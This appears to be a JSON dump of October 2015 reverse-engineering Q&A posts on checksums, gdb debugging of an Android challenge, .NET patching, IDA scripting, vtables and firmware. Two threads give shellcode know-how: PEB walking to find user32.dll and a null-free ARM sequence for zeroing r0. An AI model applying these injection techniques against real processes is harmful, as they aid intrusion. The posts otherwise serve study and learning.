        "Id": "11047",
        "CreationDate": "2015-10-07T07:19:41.333",
        "Body": "<p>I need to find relations last byte with others. Tried these solutions, but it didn't work.</p>\n\n<p>My tries:\n* When I write all datas as binary, 1's count not equal but last byte same for some datas.\n* When I sum all datas and divide by 3 or 4, it equals to last byte, but for future, maybe it's not stable.</p>\n\n<p>Bunch of data:</p>\n\n<pre><code>FC 41 01 30 10 01 21 00 01 00 00 00 00 00 00 00 00 00 00 00 00 5B\nFC 41 01 30 10 01 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5C\n\nFC 41 01 30 10 01 24 00 00 00 0F 00 00 00 00 00 00 00 00 00 00 4A\nFC 41 01 30 10 01 24 00 00 00 0E 00 00 00 00 00 00 00 00 00 00 4B\nFC 41 01 30 10 01 24 00 00 00 0B 00 00 00 00 00 00 00 00 00 00 4E\nFC 41 01 30 10 01 24 00 00 00 07 00 00 00 00 00 00 00 00 00 00 52\nFC 41 01 30 10 01 24 00 00 00 06 00 00 00 00 00 00 00 00 00 00 53\nFC 41 01 30 10 01 24 00 00 00 01 00 00 00 00 00 00 00 00 00 00 58\nFC 41 01 30 10 01 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 59\n\nFC 41 01 30 10 01 22 00 00 01 00 00 00 00 00 00 00 00 00 00 00 5A\nFC 41 01 30 10 01 22 00 00 03 00 00 00 00 00 00 00 00 00 00 00 58\nFC 41 01 30 10 01 22 00 00 07 00 00 00 00 00 00 00 00 00 00 00 54\nFC 41 01 30 10 01 22 00 00 02 00 00 00 00 00 00 00 00 00 00 00 59\n\nFC 62 01 30 10 03 00 00 0D 00 00 AF 00 00 00 00 00 00 00 00 00 9E\nFC 62 01 30 10 03 00 00 0F 00 00 B2 00 00 00 00 00 00 00 00 00 99\nFC 62 01 30 10 03 00 00 10 00 00 B4 00 00 00 00 00 00 00 00 00 96\nFC 62 01 30 10 03 00 00 11 00 00 B6 00 00 00 00 00 00 00 00 00 93\nFC 62 01 30 10 03 00 00 11 00 00 B7 00 00 00 00 00 00 00 00 00 92\nFC 62 01 30 10 03 00 00 12 00 00 B9 00 00 00 00 00 00 00 00 00 8F\nFC 62 01 30 10 03 00 00 12 00 00 B8 00 00 00 00 00 00 00 00 00 90\nFC 62 01 30 10 03 00 00 13 00 00 BA 00 00 00 00 00 00 00 00 00 8D\nFC 62 01 30 10 03 00 00 14 00 00 BD 00 00 00 00 00 00 00 00 00 89\nFC 62 01 30 10 03 00 00 15 00 00 BE 00 00 00 00 00 00 00 00 00 87\nFC 62 01 30 10 03 00 00 16 00 00 C0 00 00 00 00 00 00 00 00 00 84\nFC 62 01 30 10 03 00 00 1C 00 00 D0 00 00 00 00 00 00 00 00 00 6E \n</code></pre>\n\n<p>Thank you,</p>\n\n<p>M.</p>\n",
        "Title": "Reversing checksum calculation of embedded communication",
        "Tags": "|decryption|serial-communication|packet|crc|",
        "Answer": "<p>If you ignore the first constant byte (<code>FC</code>), all the other bytes add up to <code>00</code>, ignoring overflow.</p>\n\n<p>In other words, to calculate the last byte, start with <code>00</code>, subtract all bytes except the first <code>FC</code> (and the last one, obviously). Ignore underflow. The result is the last byte. Or, if that's easier in your programming language, start with <code>2000</code> (8192 decimal), subtract all bytes, and <code>AND</code> the result with <code>FF</code>.</p>\n"
    },
    {
        "Id": "11049",
        "CreationDate": "2015-10-07T11:58:56.907",
        "Body": "<p>I'm trying to solve FLARE-on 2015 challenge #06 (<a href=\"http://www.flare-on.com/files/2015_FLAREOn_Challenges.zip\" rel=\"nofollow\">http://www.flare-on.com/files/2015_FLAREOn_Challenges.zip</a>) using a dynamic analysis approach. It's an Android APK that loads a shared library (libvalidate.so). I have been able to break where this library is loaded but then, it seems that I'm not able to set other breakpoints within this library, which is critical to solve this challenge.</p>\n\n<p>Here is what I've been able to do so far:</p>\n\n<p>*Started the FLAREON android application (<code>PID: 1278</code>) on my Android Virtual Device (AVD) and entered a wrong password to force libvalidate.so to appear in the loaded shared libraries</p>\n\n<p>*Port forwarding:</p>\n\n<pre><code>mobisec $ adb forward tcp:1234 tcp:1234\nmobisec $ adb shell\navd # cd /data/\navd # ./gdbserver :1234 --attach 1278\nAttached; pid = 1278\nListening on port 1234\n</code></pre>\n\n<p>*On Mobisec, in another terminal:</p>\n\n<pre><code>mobisec # cd /opt/mobisec/Android/ndk/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/\nmobisec # ./arm-linux-androideabi-gdb\n(gdb) target remote :1234\nRemote debugging using :1234\n0xb6eca5cc in ?? ()\n(gdb) set solib-search-path /data/flareon/system_lib/\n[...removed...]\nReading symbols from /data/flareon/system_lib/libvalidate.so...(no debugging symbols found)...done.\nLoaded symbols for /data/flareon/system_lib/libvalidate.so\n[...removed...]\n\n(gdb) info sharedlibrary \nError reading attached process's symbol file.\ncom.flare_on.flare: No such file or directory.\nFrom        To          Syms Read   Shared Object Library\n[...removed...]\n0xab137e20  0xab139038  Yes (*)     /data/flareon/system_lib/libvalidate.so\n(gdb) \n(gdb) x/50i 0xab137e20\n   0xab137e20:  ldr     r0, [pc, #4]    ; 0xab137e2c\n   0xab137e24:  add     r0, pc, r0\n   0xab137e28:  b       0xab137da8\n   0xab137e2c:  ldrdeq  r4, [r0], -r4   ; &lt;UNPREDICTABLE&gt;\n   0xab137e30:  cmp     r0, #0\n   0xab137e34:  push    {r3, lr}\n   0xab137e38:  popeq   {r3, pc}\n   0xab137e3c:  blx     r0\n   0xab137e40:  pop     {r3, pc}\n   0xab137e44:  mov     r1, r0\n   0xab137e48:  ldr     r2, [pc, #12]   ; 0xab137e5c\n   0xab137e4c:  ldr     r0, [pc, #12]   ; 0xab137e60\n   0xab137e50:  add     r2, pc, r2\n   0xab137e54:  add     r0, pc, r0\n   0xab137e58:  b       0xab137d9c\n   0xab137e5c:  andeq   r4, r0, r8, lsr #3\n   0xab137e60:                  ; &lt;UNDEFINED&gt; instruction: 0xffffffd4\n   0xab137e64 &lt;Java_com_flareon_flare_ValidateActivity_validate&gt;:       push    {r4, r5, r6, r7, lr}\n   0xab137e66 &lt;Java_com_flareon_flare_ValidateActivity_validate+2&gt;:\n    ldr r4, [pc, #320]  ; (0xab137fa8 &lt;Java_com_flareon_flare_ValidateActivity_validate+324&gt;)\n   0xab137e68 &lt;Java_com_flareon_flare_ValidateActivity_validate+4&gt;:     adds    r5, r0, #0\n   0xab137e6a &lt;Java_com_flareon_flare_ValidateActivity_validate+6&gt;:     movs    r1, #0\n   0xab137e6c &lt;Java_com_flareon_flare_ValidateActivity_validate+8&gt;:     add     sp, r4\n   0xab137e6e &lt;Java_com_flareon_flare_ValidateActivity_validate+10&gt;:    str     r2, [sp, #8]\n   0xab137e70 &lt;Java_com_flareon_flare_ValidateActivity_validate+12&gt;:    add     r0, sp, #120    ; 0x78\n   0xab137e72 &lt;Java_com_flareon_flare_ValidateActivity_validate+14&gt;:\n[...removed...]\n(gdb) b Java_com_flareon_flare_ValidateActivity_validate\nBreakpoint 1 at 0xab137e74\n(gdb) c\nContinuing.\n</code></pre>\n\n<p>At this stage, the android application runs in my emulator and I'm able to provide a string in the text field. When I click on the \"Validate\" button, the application freezes because the BP is reached:</p>\n\n<pre><code>Breakpoint 1, 0xab137e74 in Java_com_flareon_flare_ValidateActivity_validate () from /data/flareon/system_lib/libvalidate.so\n</code></pre>\n\n<p>But from here, I haven't found how I can continue to debug because all of my attempts fail:</p>\n\n<pre><code>(gdb) x/10i $pc\n=&gt; 0xab137e74 &lt;Java_com_flareon_flare_ValidateActivity_validate+16&gt;:    bl      0xab138f08\n   0xab137e78 &lt;Java_com_flareon_flare_ValidateActivity_validate+20&gt;:\n    ldr r1, [pc, #308]  ; (0xab137fb0 &lt;Java_com_flareon_flare_ValidateActivity_validate+332&gt;)\n   0xab137e7a &lt;Java_com_flareon_flare_ValidateActivity_validate+22&gt;:    movs    r2, #92 ; 0x5c\n   0xab137e7c &lt;Java_com_flareon_flare_ValidateActivity_validate+24&gt;:    add     r0, sp, #28\n   0xab137e7e &lt;Java_com_flareon_flare_ValidateActivity_validate+26&gt;:    add     r1, pc\n   0xab137e80 &lt;Java_com_flareon_flare_ValidateActivity_validate+28&gt;:    bl      0xab138f18\n   0xab137e84 &lt;Java_com_flareon_flare_ValidateActivity_validate+32&gt;:    ldr     r1, [r5, #0]\n   0xab137e86 &lt;Java_com_flareon_flare_ValidateActivity_validate+34&gt;:    movs    r3, #169        ; 0xa9\n   0xab137e88 &lt;Java_com_flareon_flare_ValidateActivity_validate+36&gt;:    lsls    r3, r3, #2\n   0xab137e8a &lt;Java_com_flareon_flare_ValidateActivity_validate+38&gt;:    ldr     r3, [r1, r3]\n(gdb) step\nSingle stepping until exit from function Java_com_flareon_flare_ValidateActivity_validate,\nwhich has no line number information.\n</code></pre>\n\n<p>Can you please help? Many thanks in advance for your feedback.</p>\n\n<p>Post comment edit:</p>\n\n<p>Thank you for the clarifications regarding the <code>step</code> (step out) vs <code>si</code> (step in) commands, very useful indeed. Maybe the initial post was lacking from clarity. What I would like to do is actually create another breakpoint later in the code but it seems to fail, as depicted below:</p>\n\n<pre><code>(gdb) b Java_com_flareon_flare_ValidateActivity_validate\nBreakpoint 1 at 0xab143e74\n(gdb) c\nContinuing.\n\nBreakpoint 1, 0xab143e74 in Java_com_flareon_flare_ValidateActivity_validate () from /data/flareon/system_lib/libvalidate.so\n(gdb) x/20i $pc\n=&gt; 0xab143e74 &lt;Java_com_flareon_flare_ValidateActivity_validate+16&gt;:    bl      0xab144f08\n   0xab143e78 &lt;Java_com_flareon_flare_ValidateActivity_validate+20&gt;:\n    ldr r1, [pc, #308]  ; (0xab143fb0 &lt;Java_com_flareon_flare_ValidateActivity_validate+332&gt;)\n   0xab143e7a &lt;Java_com_flareon_flare_ValidateActivity_validate+22&gt;:    movs    r2, #92 ; 0x5c\n   0xab143e7c &lt;Java_com_flareon_flare_ValidateActivity_validate+24&gt;:    add     r0, sp, #28\n   0xab143e7e &lt;Java_com_flareon_flare_ValidateActivity_validate+26&gt;:    add     r1, pc\n   0xab143e80 &lt;Java_com_flareon_flare_ValidateActivity_validate+28&gt;:    bl      0xab144f18\n   0xab143e84 &lt;Java_com_flareon_flare_ValidateActivity_validate+32&gt;:    ldr     r1, [r5, #0]\n   0xab143e86 &lt;Java_com_flareon_flare_ValidateActivity_validate+34&gt;:    movs    r3, #169        ; 0xa9\n   0xab143e88 &lt;Java_com_flareon_flare_ValidateActivity_validate+36&gt;:    lsls    r3, r3, #2\n   0xab143e8a &lt;Java_com_flareon_flare_ValidateActivity_validate+38&gt;:    ldr     r3, [r1, r3]\n   0xab143e8c &lt;Java_com_flareon_flare_ValidateActivity_validate+40&gt;:    adds    r0, r5, #0\n   0xab143e8e &lt;Java_com_flareon_flare_ValidateActivity_validate+42&gt;:    ldr     r1, [sp, #8]\n   0xab143e90 &lt;Java_com_flareon_flare_ValidateActivity_validate+44&gt;:    movs    r2, #0\n   0xab143e92 &lt;Java_com_flareon_flare_ValidateActivity_validate+46&gt;:    blx     r3\n   0xab143e94 &lt;Java_com_flareon_flare_ValidateActivity_validate+48&gt;:    subs    r6, r0, #0\n   0xab143e96 &lt;Java_com_flareon_flare_ValidateActivity_validate+50&gt;:\n    beq.n       0xab143eac &lt;Java_com_flareon_flare_ValidateActivity_validate+72&gt;\n   0xab143e98 &lt;Java_com_flareon_flare_ValidateActivity_validate+52&gt;:    bl      0xab144f28\n   0xab143e9c &lt;Java_com_flareon_flare_ValidateActivity_validate+56&gt;:    cmp     r0, #46 ; 0x2e\n   0xab143e9e &lt;Java_com_flareon_flare_ValidateActivity_validate+58&gt;:\n    bhi.n       0xab143eac &lt;Java_com_flareon_flare_ValidateActivity_validate+72&gt;\n   0xab143ea0 &lt;Java_com_flareon_flare_ValidateActivity_validate+60&gt;:    movs    r2, #0\n(gdb) b 0xab143e80\nFunction \"0xab143e80\" not defined.\nMake breakpoint pending on future shared library load? (y or [n]) y\nBreakpoint 2 (0xab143e80) pending.\n</code></pre>\n\n<p>As you can see, when I try to set a second BP at <code>0xab143e80</code>, it says the function is not defined. Even if I force the creation of this BP, it is never reached.</p>\n\n<p>My question is: once I am at the 1st breakpoint, how can I set another breakpoint (say for example at <code>0xab143e80</code>)?</p>\n",
        "Title": "Breakpoint to debug Android Native Shared Library",
        "Tags": "|android|shared-object|",
        "Answer": "<h2>Answer to your first question</h2>\n\n<p><a href=\"https://www.google.com/webhp?q=gdb%20step\" rel=\"nofollow\">Googling for <code>gdb step</code></a> yields <a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Continuing-and-Stepping.html\" rel=\"nofollow\">https://sourceware.org/gdb/onlinedocs/gdb/Continuing-and-Stepping.html</a> as the first result. From that page:</p>\n\n<blockquote>\n  <p><em>Warning:</em> If you use the <code>step</code> command while control is within a\n  function that was compiled without debugging information, execution\n  proceeds until control reaches a function that does have debugging\n  information. Likewise, it will not step into a function which is\n  compiled without debugging information. To step through functions\n  without debugging information, use the <code>stepi</code> command, described below.</p>\n</blockquote>\n\n<p>Since the binary likely wasn't compiled with debugging information, you need to use <code>stepi</code> instead of <code>step</code>, as @guntram-blohm suggested in his comment above.</p>\n\n<h2>Answer to your second question</h2>\n\n<p><code>b 0xab143e80</code> is not the correct syntax to set a breakpoint on an address; <a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Specify-Location.html\" rel=\"nofollow\">you need to use <code>b *0xab143e80</code></a>.</p>\n\n<p>Please refer to <a href=\"https://sourceware.org/gdb/onlinedocs/gdb/\" rel=\"nofollow\">https://sourceware.org/gdb/onlinedocs/gdb/</a> for further questions on <code>gdb</code> usage and command syntax.</p>\n"
    },
    {
        "Id": "11051",
        "CreationDate": "2015-10-07T15:14:02.710",
        "Body": "<p>I want to learn to Reverse Engineer iOS Apps. I know exactly what I need to do and I've got almost everything set up. My iPhone is jailbroken, I have installed OpenSSH to SSH into the iPhone from my Mac and installed Cycript, otool and Clutch. Now the only thing holding me back is getting an Interactive Disassembler. Could you point me in the right direction of an IDA I could use on my Mac laptop that would feature most things and is very efficient?</p>\n\n<p>Thanks.</p>\n",
        "Title": "Reverse Engineering iOS Apps on a Mac OS X",
        "Tags": "|ida|disassemblers|",
        "Answer": "<p>very pleased to be able to answer this question.\nApple app are encrypted private account, you need to use <a href=\"https://github.com/stefanesser/dumpdecrypted\" rel=\"nofollow\">dumpdecrypted</a> decrypt it prior to analysis.</p>\n"
    },
    {
        "Id": "11054",
        "CreationDate": "2015-10-07T22:14:34.060",
        "Body": "<p>Are there techniques for patching .net executables <em>in memory</em>? Let's say we've have a .net dll/exe, we identified what method we want to patch and what IL to replace the existing code with. Executing this on the binary file is easy (let's assume it does not have a strong name for simplicity). But what if we want to leave the file intact? Is it possible to make the patch in-memory? Maybe it is possible to write an exe loader that would intercept dll loading and re-write IL on the fly somehow?</p>\n\n<p>The problem is that once the code is in memory it is no longer IL, but natively compiled, and thus, our knowledge of what method we want to patch with which IL does not help us a lot. So it looks like doing this during load time is the only way which might allow us not modifying the original files on disk. Is this possible?</p>\n\n<p><em>Note: I'm especially interested in the case where the main program executable is not .net, but native, which loads .net dlls, such as in case with Unity3D player.</em></p>\n",
        "Title": "In-memory patching of .net code",
        "Tags": "|memory|patching|.net|",
        "Answer": "<p>Low-level details and implementation for patching and intercepting .NET code at runtime: <a href=\"http://www.ntcore.com/files/netint_injection.htm\" rel=\"noreferrer\">http://www.ntcore.com/files/netint_injection.htm</a></p>\n\n<p>High-level details and implementation for patching and intercepting .NET code at runtime: <a href=\"http://www.codeproject.com/Articles/16359/MethodLogger-Hook-into-method-calls-in-NET-binarie\" rel=\"noreferrer\">http://www.codeproject.com/Articles/16359/MethodLogger-Hook-into-method-calls-in-NET-binarie</a></p>\n"
    },
    {
        "Id": "11057",
        "CreationDate": "2015-10-08T10:24:28.663",
        "Body": "<p>Is there any kind of IDAPython/IDC function, i.e. a programmatic method, that allows you to simulate this?</p>\n<p><kbd>Structures</kbd> -&gt; <kbd>Insert</kbd> -&gt; <kbd>Add standard structure</kbd></p>\n",
        "Title": "Adding automatically standard structs or enums",
        "Tags": "|ida|idapython|",
        "Answer": "<p>For enums you can use the <code>AddEnum(idx, name, flag)</code> function to create an enum inside an IDC script or Python script. This returns an <code>enum_id</code> which you can then use to create symbolic constant using <code>AddConstEx(enum_id, name, value, bmask)</code>.</p>\n\n<p>After this you can then get the constant for the enum using the same <code>enum_id</code> <code>GetConstEx(enum_id, value, serial, bmask)</code>. This will return a <code>const_id</code> which can be used to set a repeatable comment for that value in the enum using <code>SetConstCmt(const_id, cmt, repeatable)</code>.</p>\n\n<p>A short example of using this all together can be seen in this script I use;</p>\n\n<pre><code>def create_enum(enum_name, member_infos, offset, increment):\n   return_id = AddEnum(-1, enum_name, 0x1100000);\n\n    if return_id == BADADDR:\n        error('Unable to create enum : %s' % enum_name)\n        return return_id\n\n    for member_info in member_infos:\n        debug(\"Attempting to create enum member and comment : %s.%s -&gt; %s\" % (enum_name, member_info[0], member_info[1]))\n\n        if AddConstEx(return_id, member_info[0], offset, -1) == 0:\n            const_id = GetConstEx(return_id, offset, 0, -1)\n\n            if const_id == -1:\n                debug('Unable to get constant id for : %s.%s' % (enum_name, member_info[0]))\n\n            else:\n                if SetConstCmt(const_id, member_info[1], 1):\n                    debug('Enum value created : %s.%s' % (enum_name, member_info[0]))\n\n                else:\n                    error('Enum value failed to have comment set : %s.%s' % (enum_name, member_info[0]))\n\n                offset += increment\n        else:\n            error('Unable to create enum member : %s.%s' % (enum_name, member_info[0]))\n            return -1\n\n    info('Finished creating enum : %s' % enum_name)\n    return return_id\n</code></pre>\n\n<p>This would be used as follows;</p>\n\n<pre><code>enum_to_create = [\n    ('enum_1', 'enum1 comment'),\n    ('enum_2', 'enum2 comment'),\n    ('enum_3', 'enum3 comment'),\n    ('enum_4', 'enum4 comment'),\n    ('enum_5', 'enum5 comment')\n]\n\ncreate_enum('enum propername', enum_to_create, -0x8, 0x4)\n</code></pre>\n\n<p>As for the structures, it would appear you would go a similar route though using the structure commands like <code>AddStructEx(index, name, is_union)</code> and <code>SetStrucName(sid, name)</code>, etc.</p>\n"
    },
    {
        "Id": "11065",
        "CreationDate": "2015-10-09T08:06:19.177",
        "Body": "<p>I am developing a dynamic instrumentation tool using Intel PIN to analyze malware binaries in windows. From what I have learned so far is that I am able to use the tool with programs I write using C/C++.</p>\n\n<p>My question is that, will the tool developed using PIN and C/C++, work fine for binaries developed in other languages? Or are there any special care I needed to be taken to analyze binaries developed in other languages?</p>\n",
        "Title": "Binary Instrumentation of malware binaries?",
        "Tags": "|binary-analysis|instrumentation|pintool|",
        "Answer": "<p>Yes, your Pintool written in C/C++ works fine for binaries (of x86 or x86-64 instruction set) generated from compilers of other languages. You can see this quotes in the file README of any Pin distribution</p>\n\n<pre><code>... the [instrumented] application can use any compiler.\n</code></pre>\n\n<p>Personally, I have used Pin to instrument binaries compiled by OCaml compiler (so the source code is OCaml).</p>\n"
    },
    {
        "Id": "11067",
        "CreationDate": "2015-10-09T12:10:16.680",
        "Body": "<p>I have VR2 Joystick and I want to hack it. What I think is that, to determine analog voltage of joystick outpin and to mimic this values in Arduino with AnalogWrite function. I tried measure analog voltage of joystick pins but I cannot record this values. Is there any way to find x, y position of joystick? Actually, I don't know whether is this method is correct. Because, values can mislead, maybe. Is there another way you know, you apply?</p>\n\n<p>Thanks in advance.</p>\n",
        "Title": "How to get x and y position from joystick?",
        "Tags": "|hardware|arduino|",
        "Answer": "<p>You might be interested in <a href=\"http://www.wheelchairdriver.com/board/viewtopic.php?f=2&amp;t=3261\" rel=\"nofollow\">this forum post</a> where people have already interfaced your joystick to an arduino. It also has a link to the specifications of a <a href=\"http://www.cw-industrialgroup.com/Products/Joystick-Controls/Multi-Axis-Controller/Multi-Axis-Contactless-Joystick-Controller-JC2000.aspx\" rel=\"nofollow\">similar joystick</a>, including a <a href=\"http://www.cw-industrialgroup.com/getattachment/a6bb9db0-f4be-47c9-8e9d-e8931694969f/JC2000_jun07%28EN%29\" rel=\"nofollow\">data sheet</a>.</p>\n\n<p>Note that each direction uses 2 hall effect sensors, whose outputs correspond, and you should read both of them and compare them. Only if their sum is a constant value, +/- a few percent, can you assume that both of them work. Or, if you want to emulate the joystick in an existing circuit, you'll have to provide both values to \"fool\" the existing logic.</p>\n\n<p>Also, please not that the standard Arduino <code>AnalogWrite</code> function doesn't do a true analog write; instead, it sets the output to a PWM (<a href=\"https://learn.sparkfun.com/tutorials/pulse-width-modulation\" rel=\"nofollow\">pulse width modulation</a>) signal with a duty cycle ratio that corresponds to the <code>AnalogWrite</code> written value. This is \"analog\" enough to control the brightness of a LED, but won't work with anything that requires a true analog signal. In order to produce a true analog signal, you'll need to use an Arduino Due or Arduino Zero, which have <a href=\"https://www.arduino.cc/en/Reference/AnalogWriteResolution\" rel=\"nofollow\">2 resp. 1 true analog output signal</a> (which isn't enough if you want to simulate the 4 hall sensors that the joystick has), so you'll need a 4-channel digital to analog converter with an arduino library, <a href=\"https://www.adafruit.com/products/1085\" rel=\"nofollow\">something like this</a>.</p>\n\n<p>If you seriosly consider starting a project, i'd <em>strongly</em> recommend you get a digital oscilloscope that will allow you to check the real voltages on both your joystick and your simulation.</p>\n"
    },
    {
        "Id": "11080",
        "CreationDate": "2015-10-11T06:36:10.773",
        "Body": "<p>Assuming the standard VC++ vTable layout:</p>\n\n<pre><code>  Heap-Addr           TableAddr\n+-----------+       +-----------+\n| TableAddr | ----&gt; | Funcion-1 | ----&gt; Exec region of module\n+-----------+       +-----------+\n| a         |       | Funcion-2 | ----&gt; Exec region of module\n+-----------+       +-----------+\n| b         |       | Funcion-3 | ----&gt; Exec region of module\n+-----------+       +-----------+\n| c         |       |    ...    |\n+-----------+       +-----------+\n</code></pre>\n\n<p>Is TableAddr guaranteed to always be inside a module or can it be anywhere in the address space, if so, what are the conditions that would make TableAddr be outside a module.</p>\n\n<p>For clarity: A module is any .exe or .dll which has read-only or executable regions of memory allowing functions to be called. From my experience I've only seen TableAddr reside inside read-only sections of modules.</p>\n",
        "Title": "Are vTable pointers always located inside a module?",
        "Tags": "|windows|c++|memory|vtables|",
        "Answer": "<p>I believe that it is possible for both</p>\n\n<ul>\n<li>the vtable pointer to point to a different module, and</li>\n<li>for functions pointers in the vtable to point to a different module (at least indirectly.)</li>\n</ul>\n\n<p>The first will happen if you have a base class (with at least 1 virtual method) exported from a DLL and a class deriving from this in an executable (which will import the DLL.)</p>\n\n<p>When a derived class object is constructed in the exe module, it will first be constructed as a base class object (by calling the base constructor in the DLL) and so the vtable pointer for the object will point into the DLL module. This will only be for a very short period of time as, soon after, the derived class constructor in the executable will update the object's vtable pointer to point to the derived class vtable which will be in the executable module.</p>\n\n<p>The second can happen if the derived class doesn't override all the base class virtual methods. For these methods, the correct implementation will be the base class methods residing in the DLL. Hence, the relevent vtable entries will need to end up at the methods in the base class DLL. This will probably be via an import stub function in the executable itself.</p>\n"
    },
    {
        "Id": "11087",
        "CreationDate": "2015-10-12T16:46:18.563",
        "Body": "<p>Assuming I'm injecting a shellcode into a Windows GUI application, I know I could:  </p>\n\n<ul>\n<li>Gets kernel32.dll base address through the PEB (Process Environment Block);  </li>\n<li>Finds address of LoadLibrary;  </li>\n<li>Call LoadLibrary(\"user32.dll\");  </li>\n<li>Finally call GetProcAddress.</li>\n</ul>\n\n<p>This is the classic way and that's what I would do, however I'd like to know if there's a better/improved/faster/clever/different/smaller or simpler way to do this.</p>\n\n<p>Any ideas?</p>\n",
        "Title": "How to dynamically load address of USER32.DLL in shellcode?",
        "Tags": "|windows|shellcode|",
        "Answer": "<p>If <code>user32.dll</code> is already loaded in the process's address space (and I assume it is given that you said it's a Windows GUI application), you can walk the <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa813708.aspx\" rel=\"nofollow noreferrer\"><code>PEB_LDR_DATA</code></a> structure in order to find the base address of <code>user32.dll</code>:</p>\n\n<ul>\n<li><a href=\"https://ringzer0.wordpress.com/2010/11/23/kernel32-image-base-address-on-windows-seven/\" rel=\"nofollow noreferrer\">KERNEL32 image base address on Windows Seven</a></li>\n<li><a href=\"http://sandsprite.com/CodeStuff/Understanding_the_Peb_Loader_Data_List.html\" rel=\"nofollow noreferrer\">Understanding the PEB Loader\nData Structure</a></li>\n<li><a href=\"https://reverseengineering.stackexchange.com/questions/4465/where-is-ntdll-dll\">Where is ntdll.dll?</a></li>\n</ul>\n"
    },
    {
        "Id": "11096",
        "CreationDate": "2015-10-13T11:11:23.817",
        "Body": "<p>I am trying to figure out how the bootloader of a TP-Link wr702n device (based on an AP121 MIPS board) starts the operation system (VxWorks 5.5.1). The bootloader is extracted from a firmware update file and is a binary (no ELF, PE,...). I am stuck with the next step. IDA Pro disassembles some functions but (I guess) it needs further information about the ROM start address, loading address, and offset to do it properly. Where can I find these information?</p>\n\n<p>I have no RE experience and I am doing this for fun/education. Any hints about further reading or next steps would be great.</p>\n",
        "Title": "Reverse Engineering MIPS Bootloader",
        "Tags": "|firmware|mips|hexrays|",
        "Answer": "<p>As you guessed correctly, you have to find out the correct starting address of the bootloader image. Based on the bootloader in the latest firmware image (TL-WR702N_V1_141203) I recommend you to try 0x80400000 as the start address.<p>\nAlthough I don't know a simple and exact method to calculate the start address I try to explain a little bit more how can you found this anyway.<p>\nYou can try the following techniques:\n<li>Identify function starts and pointers to the functions and try to match them. If you disassemble the whole binary, the function start addresses can be determined very accurately. So, you can collect the relative start addresses. In most of the binaries and bootloaders, after the code section you will find various data items such as pointers to functions. If you can identify some of these pointers, you can try to find the corresponding relative address.\n<li>You can find hints from the code itself. Although the bootloader uses relative branches, the data items are accessed with absolute addresses. In the figure, you can find the absoulte addresses as 0x804B7F10 and so on.<br>\n<a href=\"https://i.stack.imgur.com/aLbuS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aLbuS.png\" alt=\"enter image description here\"></a>\n<br>\nBased on this address and the length of the code area (0x9B6A4) you may have intelligent guesses, such as 0x80400000 or 0x80408000 or similar.</p>\n"
    },
    {
        "Id": "11103",
        "CreationDate": "2015-10-14T08:12:22.740",
        "Body": "<p>When I debug an application inside the IDA Debugger, sometimes I get referenced to a .debugxxx segment.</p>\n\n<p>What are those segment ?\nHeap allocations ?</p>\n\n<p>If so, why are they called .debug ?</p>\n\n<p>Also, even if I stop the debugger at the entrypoint of my application, there are already 3 or 4 .debug segments, at the beginning and at the end of the address space.</p>\n\n<p>What type of data do they contain ?</p>\n\n<p>I'm sorry for this post, but I could not find any concrete information anywhere else.\nIt has already been asked <a href=\"https://stackoverflow.com/questions/10890129/whats-debug-section-in-ida-pro\">here</a>, but I don't find that the replies were anwsering the question in the title.</p>\n\n<p>Thanks !</p>\n",
        "Title": "What is the meaning of the \".debugxxx\" segments in IDA Debugger?",
        "Tags": "|ida|segmentation|",
        "Answer": "<p>Generally, these are allocated regions within a debugged process. Some are heap related, some are internal to the OS's implementation, some can be pages allocated by another process that interacts with yours. \nThey are there because IDA needs to provide you with an interface to view memory as it's actually laid-out in memory, just like any other debugger. </p>\n\n<p>Integrating them with IDA's built-in segments facilities makes it easier to work with other components and third party plugins. </p>\n\n<p>They are dubbed <code>.debug???</code> because these segments are part of the executable's debug environment. The numbers are just sequential and have no real meaning. </p>\n\n<p>P.S.\nA hint about those: IDA doesn't maintain them constantly updated, and you might sometime require IDA to rescan the memory of the debugged process to make sure your viewing the most recent memory snapshot. At least  that was the case around IDA 6.6, it might have changed. </p>\n"
    },
    {
        "Id": "11114",
        "CreationDate": "2015-10-15T14:02:59.807",
        "Body": "<p>I\u2019m trying to write some basic ARM shell code that loads up the r0 register with 0. I cannot use null characters. I can see that</p>\n\n<pre><code>subs r2, r2, r2\n</code></pre>\n\n<p>sets r2 to 0 without using any null bytes.</p>\n\n<p>However, any attempts to move r2 to r0, results in shell code that uses null bytes. Any advice on what I could do? </p>\n",
        "Title": "ARM shellcode using r0 without null characters",
        "Tags": "|arm|shellcode|",
        "Answer": "<p>Copy/pasted from <a href=\"https://www.onlinedisassembler.com/odaweb/\">the online disassembler</a>:</p>\n\n<pre><code>.data :00000000  e0522002 subs r2, r2, r2\n.data :00000004  e92d0104 push {r2, r8}       \n.data :00000008  e8bd0101 pop {r0, r8}\n</code></pre>\n\n<p>Or, in thumb mode (the push/pop instructions are actually the same, seemingly being byte-swapped due to endianness):</p>\n\n<pre><code>.data :00000000 1a92 subs r2, r2, r2\n.data :00000002 0104e92d stmdb r13!, {r2, r8}\n.data :00000006 0101e8bd ldmia.w r13!, {r0, r8}\n</code></pre>\n"
    },
    {
        "Id": "11122",
        "CreationDate": "2015-10-16T10:44:52.897",
        "Body": "<p>I am new to reverse engineering so this seems like a very basic issue, and still I was not able to find an answer to it myself yet. Hopefully someone can point me in the right direction. </p>\n\n<p>I am on Windows, I disassembled an exe file using \"PE Explorer\". For now, my process was to somehow, mostly by trial and error, identify the machine code steps I want to change in the dissasembly, then make the necessary change by opening the same exe in a hex editor, finding the same instruction and changing it there.</p>\n\n<p>(Side note here: This two step process is quite inefficient. Is there a program you can recommend where I can combine both steps in one go, or at least side by side?) </p>\n\n<p>While this has worked for me so far, I believe there must be a better way than doing this by trial and error and manually trying to identify the functions in the machine code. Is there? Particularly, is there a way to run a program (exe) and in parallel follow the steps in the dissasembly (ideally slowed down..)? </p>\n\n<p>Thank you.</p>\n",
        "Title": "Follow steps in dissassembly after application start",
        "Tags": "|disassembly|windows|debugging|",
